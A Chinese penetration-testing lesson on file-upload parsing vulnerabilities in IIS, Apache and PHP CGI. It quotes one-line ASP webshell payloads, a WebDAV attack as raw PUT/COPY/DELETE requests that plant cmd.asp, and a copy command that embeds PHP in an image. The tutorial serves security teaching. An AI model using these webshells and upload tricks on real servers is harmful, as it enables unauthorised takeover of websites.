1. 程式人生 > >【滲透課程】第六篇-上傳漏洞之解析漏洞

【滲透課程】第六篇-上傳漏洞之解析漏洞

文件的 配置文件 密碼 3.1 安裝目錄 ppa xxx 表單 圖片

上傳漏洞,我們為什麽要上傳?因為我們說過。在網站服務器上 肯定有一個Web容器,它裏面裝的就是Web應用程序 。某些腳本具有一定的執行和修改權限。這些權限可以說是服務器給客戶端訪問時提供的服務的同時提供的, 提供服務越多, 存在漏洞的幾率就越大。

如果我們上傳了某個具有對系統進行操作性權限的文件(一句話木馬,大馬,bat,dll等),那對於我們接下去的攻擊提供了很大的方便。

上面這些我就不多說了 ,之前也講過了。回歸正題, 我們這篇要說的是:

解析漏洞

在這裏我先說一個知識點吧,相信很多人都聽說過:一句話木馬

(PS:可能這篇結構有點亂~)

一句話木馬(選自百度百科):

技術分享

黑客在註冊信息的電子郵箱或者個人主頁等中插入類似如下代碼:

<%execute request("value")%>

其中value是值(俗稱密碼),你可以更改自己的值,前面的request就是獲取這個值

<%eval request("value")%>(現在比較多見的,而且字符少,對表單字數有限制的地方特別的實用)

當知道了數據庫的URL,就可以利用中國菜刀進行連接得到Webshell,從而擁有讀寫網站目錄的權限(除了部分限權網站,只是簡說)。

(不知道數據庫也可以,只要知道

<%eval request("value")%>

這個文件被插入到哪一個ASP文件裏面就可以了)這就被稱為一句話木馬

想了解更多信息看這裏

邏輯導航

文件解析漏洞,是指Web容器(Apache、nginx、iis等)在解析文件時出現了漏洞,從而,黑客可以利用該漏洞實現非法文件的解析。

下面就列舉早些年存在至今的解析漏洞:

(大家盡量理解概念)

一、IIS解析漏洞

1.當建立*.asa、*.asp格式的文件夾時,其目錄下的任意文件都將被IIS當作asp文件來解析(如text.asp/1.txt.此處的txt是以ASP文件的影視運行的)

2.當文件為*.asp;1.jpg時,IIS 6.0同樣會以ASP腳本來執行。

3.WebDav漏洞(對IIS寫權限的利用,這個我們在之前學http請求的時候就說過的請求頭和正文語句,這段好好看)

  • 第一步,通過OPTIONS探測服務器所支持的HTTP方法

請求:

OPTIONS / HTTP/1.1

Host:www.example.com

響應:

Public:OPTIONS,TRACE,GET,HEAD,DELETE,PUT,POST,COPY,MOVE,MKCOL,PROPFIND,PROPPATCH,LOCK,UNLOCK,SEARCH

  • 第二步,通過PUT方法向服務器上傳腳本文件

請求:

PUT /a.txt HTTP/1.1

Host:www.example.com

Content-Length:30

<%eval request("chopper")%>

第三步,通過Move或Copy方法改名

請求:

COPY /a.txt HTTP/1.1

Host:www.example.com

Destination:http://www.example.com/cmd.asp

第四步,使用DELETE方法,攻擊者還可以刪除服務器上的任意文件

請求:

DELETE /a.txt HTTP/1.1

Host:www.example.com

二、Apache解析漏洞

在Apache 1.x和Apache 2.x中1.php.rar會被當作php文件執行。

Apache在解析文件時有一個原則:當碰到不認識的擴展名時,將會從後面向前解析,直到碰到認識的擴展名為止。

例 上傳文件:

1.php.aa.bb

後綴名bb 不認識,向前解析

1.php.aa

後綴名aa 不認識 向前解析

1.php 最終解析結果為PHP文件

這種方法可以繞過基於黑名單的檢查。(如網站限制,不允許上傳後綴名為PHP的文件)

Apache認識的擴展名保存在安裝目錄下"/conf/mime.types"文件中。下圖為本機的情況,文件在路徑C:wampbinapacheApache2.2.21confmime.types

技術分享

三、PHP CGI解析漏洞

在某些使用Nginx的網站中,

訪問http://www.xxser.com/1.jpg/1.php,此時的1.jpg會被當作PHP腳本來解析,此時1.php是不存在的。

這就意味著攻擊者可以上傳合法的“圖片”(圖片木馬)然後在URL後面加上“/xxx.php”,就可以獲得網站的WebShell。

這不是Nginx特有的漏洞,在IIS7.0、IIS7.5、Lighttpd等Web容器中也經常會出現這樣的解析漏洞。

這個解析漏洞其實是PHP CGI的漏洞,在PHP的配置文件中有一個關鍵的選項cgi.fix_pathinfo在本機中位於C:wampbinphpphp5.3.10php.ini,默認是開啟的,當URL中有不存在的文件,PHP就會向前遞歸解析。

技術分享

附:


用copy命令制作圖片木馬:copy 1.jpg/b+1.php/a 2.php (其中/b表示二進制文件,/a表示ASCII碼文件)

這篇文章是給給大家了解思維邏輯,網絡上還有更多信息, 這只是部分。文章部分素材收集自網絡,經過本人大量修改。如有侵犯,歡迎咨詢,抱拳了

【滲透課程】第六篇-上傳漏洞之解析漏洞